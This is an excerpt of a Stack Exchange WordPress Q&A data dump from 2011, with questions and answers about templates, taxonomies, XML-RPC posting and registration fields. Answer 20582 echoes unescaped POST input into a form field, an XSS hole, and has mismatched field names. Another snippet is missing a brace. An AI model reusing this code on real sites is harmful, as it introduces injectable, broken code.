  <row Id="20568" PostTypeId="1" AcceptedAnswerId="20601" CreationDate="2011-06-21T04:34:34.103" Score="1" ViewCount="102" Body="&lt;p&gt;I am facing 500.0 Internal server quite frequently with my website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error details are given below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HTTP Error 500.0 - Internal Server Error&#xA;C:\PHP\php-cgi.exe - The FastCGI process exceeded configured activity timeout&#xA;&#xA;Module  FastCgiModule&#xA;Notification    ExecuteRequestHandler&#xA;Handler PHP_via_FastCGI&#xA;Error Code  0x80070102&#xA;Requested URL   http://mydomain.com:80/index.php&#xA;Physical Path   C:\HostingSpaces\coderefl\mydomain.com\wwwroot\index.php&#xA;Logon Method    Anonymous&#xA;Logon User  Anonymous&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I contacted the support team, they're saying that my site is making heavy SQL Queries. I am not sure how to debug this. But my site is very small and the database is optimized. I'm running wordpress as platform. How to resolve this issue.&lt;/p&gt;&#xA;" OwnerUserId="5488" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-21T13:22:34.103" LastActivityDate="2011-06-21T14:50:30.207" Title="500 internal server error" Tags="&lt;troubleshooting&gt;&lt;500-internal-error&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="20569" PostTypeId="1" AcceptedAnswerId="20599" CreationDate="2011-06-21T06:12:37.100" Score="1" ViewCount="67" Body="&lt;p&gt;I'm wondering if anyone here has used the jquery plugin 'fullscreenr' with a wordpress theme before.  I've noticed a weird bug that I'm sure anyone who has used this before for a wordpress build would have come across.. It's a niche problem so bear with the explanation.  I'll be as succinct as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fullscreenr is a jQuery plugin that allows you to have a scalable fullscreen bg image.  For reference:  &lt;a href=&quot;http://nanotux.com/blog/fullscreen/&quot; rel=&quot;nofollow&quot;&gt;http://nanotux.com/blog/fullscreen/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I'm having is a weird bug involving using html anchors that target a location that is near the bottom of the target page.  This forces the BG to resize below the original window size.  Everything looks great at first, but if the user attempts to scroll back up, the scrollbar gets 'stuck' and a good 200 pixels of the BG get stuck as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the scalable bg working here: &lt;a href=&quot;http://dev.citylightphilly.com/html&quot; rel=&quot;nofollow&quot;&gt;http://dev.citylightphilly.com/html&lt;/a&gt; (try zooming out and resizing the window.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To witness the problem I'm having - click &quot;Our Blog&quot; (the only working link on the test page)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally, I would say - &quot;oh well, if I really want the scalable BG, I just won't use anchors below a certain point on the target page.&quot;  However, for a wordpress blog it becomes very necessary semantically to link directly to the #respond tag for comments, which are always at the bottom of the page!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?  I don't know jQuery well enough to code in a workaround..  Help!&lt;/p&gt;&#xA;" OwnerUserId="5861" LastActivityDate="2011-06-21T14:09:13.237" Title="Using Fullscreenr with a wordpress blog - weird bug" Tags="&lt;customization&gt;&lt;jquery&gt;&lt;images&gt;&lt;hacks&gt;&lt;scale&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="20570" PostTypeId="2" ParentId="20562" CreationDate="2011-06-21T06:57:03.107" Score="0" ViewCount="" Body="&lt;p&gt;This is how i would do it:&lt;br&gt;&#xA;why not just include another loop.php in its place, for example copy &lt;code&gt;loop.category.php&lt;/code&gt;, rename it to something like &lt;code&gt;loop-copy.php&lt;/code&gt; make your changes to it and call it to the template as &lt;code&gt;&amp;lt;?php get_template_part( 'loop', 'copy' ); ?&amp;gt;&lt;/code&gt;.  &lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditorDisplayName="" LastEditDate="2011-06-21T07:02:08.687" LastActivityDate="2011-06-21T07:02:08.687" CommentCount="1" />
  <row Id="20571" PostTypeId="1" CreationDate="2011-06-21T07:16:39.197" Score="1" ViewCount="24" Body="&lt;p&gt;I have a wordpress blog.I Want to add Facebook like Button &amp;amp;Facebook Share button &amp;amp; Retweet Buttons with My Post's Right Side.My Sample Blog Link Here &lt;a href=&quot;http://bazarganmagazine.com/blog/&quot; rel=&quot;nofollow&quot;&gt;enter link description here&lt;/a&gt; (Output). How to Modify like this?Now I think it's clear.while i installed plugin my theme has been modified.i can't re-set that.please help me..&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-21T07:16:39.197" Title="I Want to Link Plugin with My Post.How is it possible?" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;wordpress.com&gt;&lt;facebook&gt;" />
  <row Id="20572" PostTypeId="2" ParentId="20494" CreationDate="2011-06-21T07:47:05.033" Score="-1" ViewCount="" Body="&lt;p&gt;Well, i want a link to appear on the same page below the contact form after successful submission of the contact form. Link should say &lt;strong&gt;Download your video 'here'&lt;/strong&gt; where 'here' should be a hyperlink clicking on which starts the force download of the video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i want to check whether form was successfully submitted and only then the download link should apper. How do i do this?&lt;/p&gt;&#xA;" OwnerUserId="6358" LastActivityDate="2011-06-21T07:47:05.033" CommentCount="1" />
  <row Id="20573" PostTypeId="1" AcceptedAnswerId="20577" CreationDate="2011-06-21T09:11:59.467" Score="1" ViewCount="83" Body="&lt;p&gt;I'm trying to output an ordered list of the top five tags for my site into the sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment, I'm using &lt;code&gt;wp_tag_cloud&lt;/code&gt; like this to get it to output a nice &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_tag_cloud('smallest=12&amp;amp;largest=12&amp;amp;orderby=count&amp;amp;order=DESC&amp;amp;format=list&amp;amp;unit=px&amp;amp;number=5');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'd like it to output as an &lt;code&gt;&amp;lt;ol&amp;gt;&lt;/code&gt; instead of a &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt;. Is it possible to do this without hacking the core? Presumably via functions.php or the like?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, in the output from &lt;code&gt;wp_tag_cloud&lt;/code&gt;, the font size is being set by inline styles. Seeing as I don't need the tag cloud to actually function as a tag cloud, is there any way to simply remove all inline styling from it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, if there's an easier or less convoluted way of getting an ordered list of tags, please let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2666" LastActivityDate="2011-06-21T09:42:50.563" Title="Getting an ordered list of tags - via wp_tag_cloud or not?" Tags="&lt;tags&gt;&lt;sidebar&gt;&lt;list&gt;" AnswerCount="1" />
  <row Id="20574" PostTypeId="1" AcceptedAnswerId="20595" CreationDate="2011-06-21T09:20:04.210" Score="3" ViewCount="171" Body="&lt;p&gt;How can i get taxonomies of a post type? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose i have a post type 'event' now i need to find out the list of taxonomies that are attached to this post type.&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-06-21T13:06:39.663" Title="How to get all taxonomies of a post type?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;taxonomy&gt;" AnswerCount="3" />
  <row Id="20575" PostTypeId="1" AcceptedAnswerId="20579" CreationDate="2011-06-21T09:20:23.630" Score="1" ViewCount="104" Body="&lt;p&gt;I have developed a custom script that uses &lt;code&gt;wp_insert_post&lt;/code&gt; to create new posts, however i'd like to use similar code to create the same data in another wp database.&#xA;Could be this done on the fly before insertion? For example instruct wordpress to point another database and then insert data?&#xA;Or should I do this &quot;manually&quot; using raw mySQL code?&lt;/p&gt;&#xA;" OwnerUserId="1210" LastActivityDate="2011-06-21T11:27:35.317" Title="Insert post in another database" Tags="&lt;database&gt;&lt;wp-insert-post&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="20576" PostTypeId="2" ParentId="20574" CreationDate="2011-06-21T09:31:25.830" Score="0" ViewCount="" Body="&lt;p&gt;Have you tried anything? something like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;$args=array(&#xA;  'object_type' =&amp;gt; array('event') &#xA;); &#xA;&#xA;$output = 'names'; // or objects&#xA;$operator = 'and'; // 'and' or 'or'&#xA;$taxonomies=get_taxonomies($args,$output,$operator); &#xA;if  ($taxonomies) {&#xA;  foreach ($taxonomies  as $taxonomy ) {&#xA;    echo '&amp;lt;p&amp;gt;'. $taxonomy. '&amp;lt;/p&amp;gt;';&#xA;  }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="974" LastActivityDate="2011-06-21T09:31:25.830" CommentCount="2" />
  <row Id="20577" PostTypeId="2" ParentId="20573" CreationDate="2011-06-21T09:42:50.563" Score="1" ViewCount="" Body="&lt;p&gt;one possibility: using the 'format=array' and 'echo=0' parameters; and building a foreach loop to output each tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ol&amp;gt;&#xA;  &amp;lt;?php &#xA;  $wptc = wp_tag_cloud('smallest=12&amp;amp;largest=12&amp;amp;orderby=count&amp;amp;order=DESC&amp;amp;format=array&amp;amp;unit=px&amp;amp;number=5&amp;amp;echo=0'); &#xA;  foreach( $wptc as $wpt ) echo &quot;&amp;lt;li&amp;gt;&quot; . $wpt . &quot;&amp;lt;/li&amp;gt;\n&quot;; &#xA;  ?&amp;gt;&#xA;&amp;lt;/ol&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-06-21T09:42:50.563" CommentCount="2" />
  <row Id="20578" PostTypeId="2" ParentId="14963" CreationDate="2011-06-21T09:53:28.043" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;    $args = array('post_id'=&amp;gt;get_the_ID(), 'status'=&amp;gt; 'approve');&#xA;    $all_comm = get_comments($args);&#xA;    $per_page = get_option(&quot;comments_per_page&quot;);&#xA;    if(!$per_page)&#xA;    $per_page = 4;&#xA;    $cpage = get_query_var(&quot;cpage&quot;);&#xA;    if(!$cpage)&#xA;    $cpage = 1;&#xA;    if(round(count($all_comm)/$per_page) == 0)&#xA;    $total = 1;&#xA;    else&#xA;    $total = round(count($all_comm)/$per_page);&#xA;    $args_comments = array(&#xA;        'base' =&amp;gt; add_query_arg( 'cpage', '%#%' ),&#xA;        'format' =&amp;gt; &quot;&quot;,&#xA;        'total' =&amp;gt; $total,&#xA;        'current' =&amp;gt; $cpage,&#xA;        'echo' =&amp;gt; false,&#xA;        'add_fragment' =&amp;gt; '#reviews'&#xA;    );&#xA;    $pagi_comments = paginate_comments_links($args_comments);&#xA;    $args = array('post_id'=&amp;gt;get_the_ID(), 'status'=&amp;gt; 'approve', 'number' =&amp;gt; $per_page, 'offset' =&amp;gt; $per_page*($cpage-1));&#xA;    $all_comm = get_comments($args);&#xA;    if($all_comm)&#xA;    foreach($all_comm as $as){ print_r($as); }&#xA;    echo $pagi_comments;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope it helps lot to you. &lt;/p&gt;&#xA;" OwnerUserId="6361" LastActivityDate="2011-06-21T09:53:28.043" />
  <row Id="20579" PostTypeId="2" ParentId="20575" CreationDate="2011-06-21T10:04:42.843" Score="1" ViewCount="" Body="&lt;p&gt;You could avoid SQL altogether and use the XML-RPC API. This would also let you post to remote wordpress installs too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;( note if XML-RPC is not an option, scroll further down )&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If Using XML-RPC&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some code from a quick google search using XML-RPC to post to a remote Wordpress blog:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.forums.wordpress.com/topic/great-code-for-remote-posting?replies=5&quot; rel=&quot;nofollow&quot;&gt;http://en.forums.wordpress.com/topic/great-code-for-remote-posting?replies=5&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a simpler set of examples with an explanation of the XML-RPC APIs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://life.mysiteonline.org/archives/161-Automatic-Post-Creation-with-Wordpress,-PHP,-and-XML-RPC.html&quot; rel=&quot;nofollow&quot;&gt;http://life.mysiteonline.org/archives/161-Automatic-Post-Creation-with-Wordpress,-PHP,-and-XML-RPC.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's an example from WP-Recipes using Curl and XML-RPC:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.wprecipes.com/post-on-your-wordpress-blog-using-php&quot; rel=&quot;nofollow&quot;&gt;http://www.wprecipes.com/post-on-your-wordpress-blog-using-php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpPostXMLRPC($title,$body,$rpcurl,$username,$password,$category,$keywords='',$encoding='UTF-8') {&#xA;    $title = htmlentities($title,ENT_NOQUOTES,$encoding);&#xA;    $keywords = htmlentities($keywords,ENT_NOQUOTES,$encoding);&#xA;&#xA;    $content = array(&#xA;        'title'=&amp;gt;$title,&#xA;        'description'=&amp;gt;$body,&#xA;        'mt_allow_comments'=&amp;gt;0,  // 1 to allow comments&#xA;        'mt_allow_pings'=&amp;gt;0,  // 1 to allow trackbacks&#xA;        'post_type'=&amp;gt;'post',&#xA;        'mt_keywords'=&amp;gt;$keywords,&#xA;        'categories'=&amp;gt;array($category)&#xA;    );&#xA;    $params = array(0,$username,$password,$content,true);&#xA;    $request = xmlrpc_encode_request('metaWeblog.newPost',$params);&#xA;    $ch = curl_init();&#xA;    curl_setopt($ch, CURLOPT_POSTFIELDS, $request);&#xA;    curl_setopt($ch, CURLOPT_URL, $rpcurl);&#xA;    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);&#xA;    curl_setopt($ch, CURLOPT_TIMEOUT, 1);&#xA;    $results = curl_exec($ch);&#xA;    curl_close($ch);&#xA;    return $results;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If afterall that XML-RPC is not for you&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps a wordpress multisite might be best for you? Creating the new post would be as simple as calling &lt;code&gt;switch_to_blog($blog_id);&lt;/code&gt; then doing your business creating the new post, before calling &lt;code&gt;restore_current_blog();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you MUST use SQL&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1604/using-wpdb-to-connect-to-a-separate-database&quot;&gt;this question linked to&lt;/a&gt; by mike23 in order to gain access via a wpdb object&lt;/p&gt;&#xA;" OwnerUserId="736" LastEditorUserId="736" LastEditorDisplayName="" LastEditDate="2011-06-21T11:27:35.317" LastActivityDate="2011-06-21T11:27:35.317" CommentCount="9" />
  <row Id="20580" PostTypeId="1" AcceptedAnswerId="20600" CreationDate="2011-06-21T10:12:38.323" Score="0" ViewCount="76" Body="&lt;p&gt;Is there a way to disable update notifications for specific plugins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a plugin developer, I have some plugins installed on my personal site using the svn trunk version for testing, but the same plugins are available from the plugin site. In these cases WP considers the latest version to be the &lt;em&gt;most recently published&lt;/em&gt; version and constantly tries to warn me that updates are available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still want to see notifications for updates on other plugins, but it's anoying to constantly ignore the &lt;code&gt;Updates (2)&lt;/code&gt; notice in the header!&lt;/p&gt;&#xA;" OwnerUserId="4587" LastActivityDate="2011-06-21T14:44:01.647" Title="Disable update notification for individual plugins" Tags="&lt;plugins&gt;&lt;updates&gt;&lt;notifications&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="20581" PostTypeId="1" CreationDate="2011-06-21T10:26:22.977" Score="0" ViewCount="63" Body="&lt;p&gt;I have 10 images attached to each of a custom post type. My permalink structure for the custom post type is: example.com/post-type/post-title&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the Wordpress Attachments plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My attachment permalinks look like this example.com/?attachment_id=55&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to do for the attachment permalinks is: example.com/post-type/post-title/1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I go about doing this?&lt;/p&gt;&#xA;" OwnerUserId="6318" LastActivityDate="2011-06-21T10:26:22.977" Title="Custom attachment permalink structure" Tags="&lt;permalinks&gt;&lt;attachments&gt;" />
  <row Id="20582" PostTypeId="2" ParentId="20118" CreationDate="2011-06-21T10:28:51.980" Score="0" ViewCount="" Body="&lt;p&gt;Put something along the lines of this in functions.php or a plugin. It may need some tweaking and modification, it's not intended as an 'as is' example, but it should put you on the right path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following adds a new field UI to the default registration form, and then checks if its 11 characters long, and that no other user has the same UID. It stores the UID in the users meta data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a custom registration form, a text input with the name 'user_uid' will suffice, and to grab the uid of a user, use: &lt;code&gt;$uid = get_the_author_meta( 'user_uid', $user-&amp;gt;ID );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;add_action('register_form','show_uid_field');&#xA;add_action('register_post','check_fields',10,3);&#xA;add_action('user_register', 'register_extra_fields');&#xA;&#xA;function show_uid_field(){&#xA;    ?&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label&amp;gt;Unique ID&amp;lt;br /&amp;gt;&#xA;        &amp;lt;input id=&quot;user_uid&quot; class=&quot;input&quot; type=&quot;text&quot; tabindex=&quot;20&quot; size=&quot;25&quot; value=&quot;&amp;lt;?php echo $_POST['user_uid']; ?&amp;gt;&quot; name=&quot;first&quot;/&amp;gt;&#xA;        &amp;lt;/label&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&#xA;function check_fields($login, $email, $errors) {&#xA;    global $user_uid;&#xA;    if ($_POST['user_uid'] == '') {&#xA;        $errors-&amp;gt;add('empty_user_uid', &quot;&amp;lt;strong&amp;gt;ERROR&amp;lt;/strong&amp;gt;: Please Enter your UID&quot;);&#xA;    } else {&#xA;        $user_uid = $_POST['user_uid'];&#xA;        if(strlen(trim($user_uid)) != 11){&#xA;            $errors-&amp;gt;add('invalid_user_uid', &quot;&amp;lt;strong&amp;gt;ERROR&amp;lt;/strong&amp;gt;: Invalid value, please Enter your UID&quot;);&#xA;        } else {&#xA;            $szSort = &quot;user_nicename&quot;;&#xA;            $aUsersID = $wpdb-&amp;gt;get_col( $wpdb-&amp;gt;prepare( &quot;SELECT $wpdb-&amp;gt;users.ID FROM $wpdb-&amp;gt;users ORDER BY %s ASC&quot;, $szSort ));&#xA;            foreach ( $aUsersID as $iUserID ) {&#xA;                $user = get_userdata( $iUserID );&#xA;                $uid = get_the_author_meta( 'user_uid', $user-&amp;gt;ID );&#xA;                if($uid == $user_uid){&#xA;                    $errors-&amp;gt;add('notunique_user_uid', &quot;&amp;lt;strong&amp;gt;ERROR&amp;lt;/strong&amp;gt;: This UID is already taken, please enter your UID&quot;);&#xA;                    break;&#xA;                }&#xA;            }&#xA;            // do your soap check here&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;function register_extra_fields($user_id, $password=&quot;&quot;, $meta=array())  {&#xA;    update_usermeta( $user_id, 'user_uid', $_POST['user_uid'] );&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would also note that while gravity forms is great, if your trying to extend it your in for a world of pain.&lt;/p&gt;&#xA;" OwnerUserId="736" LastActivityDate="2011-06-21T10:28:51.980" />
  <row Id="20583" PostTypeId="1" AcceptedAnswerId="20587" CreationDate="2011-06-21T10:48:17.047" Score="0" ViewCount="75" Body="&lt;p&gt;Currently I'm working on a project where site is driven by user articles, how it works:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Any user goes to compose post page&#xA;and writes post along with few&#xA;details, has upload file option for&#xA;image and then submits&lt;/li&gt;&#xA;&lt;li&gt;Post is uploaded in wordpress and the image attached is set as featured image&lt;/li&gt;&#xA;&lt;li&gt;Admin approves the post and it gets published.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here user is not required to have an account. I am using &lt;code&gt;wp_insert_post&lt;/code&gt; to create a new post but not able to figure out how to add featured image via PHP.&lt;/p&gt;&#xA;" OwnerUserId="2839" LastActivityDate="2011-06-21T12:18:10.070" Title="Adding featured image via PHP" Tags="&lt;php&gt;&lt;post-thumbnails&gt;&lt;media-upload&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" />
  <row Id="20584" PostTypeId="2" ParentId="20574" CreationDate="2011-06-21T11:46:16.470" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_categories&quot; rel=&quot;nofollow&quot;&gt;get_categories&lt;/a&gt; will do the job.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_categories('taxonomy=taxonomy_name&amp;amp;type=custom_post_type'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2011-06-21T11:46:16.470" CommentCount="2" />
  <row Id="20585" PostTypeId="1" CreationDate="2011-06-21T11:49:32.560" Score="0" ViewCount="43" Body="&lt;p&gt;i have a custom taxonomy called 'bike-category' and a custom term called 'brand' and a custom post type called 'bikes'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to list each bike-category then underneath list all brands &lt;em&gt;only&lt;/em&gt; which have bikes in them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ive half got there however it seems very resource heavy/long winded and im sure im going about this the wrong way. Could someone suggest a better approach?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php&#xA;// set up taxonomies&#xA;$tax_one = 'bike-category';&#xA;$tax_two = 'brands';&#xA;$post_type = 'bikes';&#xA;&#xA;$categories = get_categories( array(&#xA;    'type'                     =&amp;gt; $post_type,&#xA;    'orderby'                  =&amp;gt; 'name',&#xA;    'order'                    =&amp;gt; 'ASC',&#xA;    'hide_empty'               =&amp;gt; 0,&#xA;    'hierarchical'             =&amp;gt; 1,&#xA;    'taxonomy'                 =&amp;gt; $tax_one ));&#xA;&#xA;    foreach ( $categories as $category ) : // list all categories&#xA;&#xA;    if($category-&amp;gt;slug == $wp_query-&amp;gt;query_vars['bike-category']) { $selected = ' class=&quot;selected&quot;'; } else { $selected = ''; }&#xA;&#xA;        echo '&amp;lt;li'.$selected.'&amp;gt;&amp;lt;a href=&quot;'.get_bloginfo('url').'/bikes/'.$category-&amp;gt;slug.'&quot;&amp;gt;'.$category-&amp;gt;name.'&amp;lt;/a&amp;gt;&amp;lt;ul&amp;gt;';&#xA;&#xA;            $terms = get_terms( $tax_two, array( 'hide_empty' =&amp;gt; 0 ) );&#xA;&#xA;            foreach ( $terms as $term ) :  // list all brands in each category&#xA;&#xA;                $myquery['tax_query'] = array(&#xA;                    array(&#xA;                        'taxonomy' =&amp;gt; $tax_one,&#xA;                        'terms' =&amp;gt; array($category-&amp;gt;name),&#xA;                        'field' =&amp;gt; 'slug'&#xA;                    ),&#xA;                    array(&#xA;                        'taxonomy' =&amp;gt; $tax_two,&#xA;                        'terms' =&amp;gt; array($term-&amp;gt;name),&#xA;                        'field' =&amp;gt; 'slug'&#xA;                    )&#xA;                );&#xA;                $the_posts = new WP_Query($myquery);&#xA;        print_r($myquery);&#xA;                if ( $the_posts-&amp;gt;have_posts() ) : // if there are posts in the current brand and category then display it&#xA;&#xA;                    echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'.get_bloginfo('url').'/bikes/'.$category-&amp;gt;slug.'/'.$term-&amp;gt;slug.'&quot;&amp;gt;'.$term-&amp;gt;name.'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;&#xA;                endif;&#xA;&#xA;            endforeach;&#xA;&#xA;        echo '&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;';&#xA;&#xA;    endforeach; ?&amp;gt;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2011-06-21T11:49:32.560" Title="List Custom Taxonomy Based on Post Count &amp; Category" Tags="&lt;custom-taxonomy&gt;" FavoriteCount="1" />
  <row Id="20586" PostTypeId="2" ParentId="20479" CreationDate="2011-06-21T12:12:01.393" Score="1" ViewCount="" Body="&lt;p&gt;I just noticed that your &lt;code&gt;add_action()&lt;/code&gt; call is incorrect. You have to pass it a &lt;em&gt;callback&lt;/em&gt;, not the &lt;em&gt;function definition&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_init', function() {&#xA;    // function definition here&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead, you should have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_enqueue_admin_scripts() {&#xA;     // register/enqueue code goes here&#xA;}&#xA;add_action( 'hook_name', 'mytheme_enqueue_admin_scripts' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-21T12:12:01.393" CommentCount="4" />
  <row Id="20587" PostTypeId="2" ParentId="20583" CreationDate="2011-06-21T12:18:10.070" Score="3" ViewCount="" Body="&lt;p&gt;Use the &lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-includes/post.php#L5128&quot; rel=&quot;nofollow&quot;&gt;set_post_thumbnail&lt;/a&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set_post_thumbnail( $post_ID, $thumbnail_id );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Require you use WordPress 3.1.0 or later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need call this function after you have successfully created your post via &lt;code&gt;wp_insert_post&lt;/code&gt; and have a valid &lt;code&gt;$post_ID&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3797" LastActivityDate="2011-06-21T12:18:10.070" CommentCount="2" />
  <row Id="20588" PostTypeId="2" ParentId="17918" CreationDate="2011-06-21T12:28:39.177" Score="1" ViewCount="" Body="&lt;p&gt;I use &lt;code&gt;previous_post_link()&lt;/code&gt; and &lt;code&gt;next_post_link()&lt;/code&gt; (Codex &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/previous_post_link&quot; rel=&quot;nofollow&quot;&gt;previous_post_link()&lt;/a&gt;/&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/next_post_link&quot; rel=&quot;nofollow&quot;&gt;next_post_link()&lt;/a&gt;) outside of the Loop, with no problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the Codex entries indicate that these functions must be used within the Loop, but IMX that isn't true. The functions call the &lt;code&gt;$post&lt;/code&gt; global, and pass it to &lt;code&gt;get_previous_post()&lt;/code&gt; and &lt;code&gt;get_next_post()&lt;/code&gt;, respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, &lt;code&gt;posts_nav_link()&lt;/code&gt; is the incorrect function to use in the single-post context, anyway. It is intended for navigation of &lt;em&gt;archive index pages&lt;/em&gt;, not of single posts.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-21T12:28:39.177" />
  <row Id="20589" PostTypeId="1" CreationDate="2011-06-21T12:35:43.013" Score="0" ViewCount="52" Body="&lt;p&gt;When I replaced the comment-template file in WordPress with the a new comment-template file (which I edited for my theme) I am getting this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: Missing argument 1 for __(), called in /home/studipe0/public_html/luxury/wp-includes/comment-template.php on line 1524 and defined in /home/studipe0/public_html/luxury/wp-includes/l10n.php on line 96&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am using WordPress 3.&#xA;When I searched for it there was many sites with same error, but could not find an answer.&lt;/p&gt;&#xA;" LastEditorUserId="3266" LastEditorDisplayName="" LastEditDate="2011-06-30T09:18:04.870" LastActivityDate="2011-06-30T09:18:04.870" Title="Error in WordPress comments template" Tags="&lt;comments&gt;&lt;template&gt;" AnswerCount="2" CommentCount="1" />
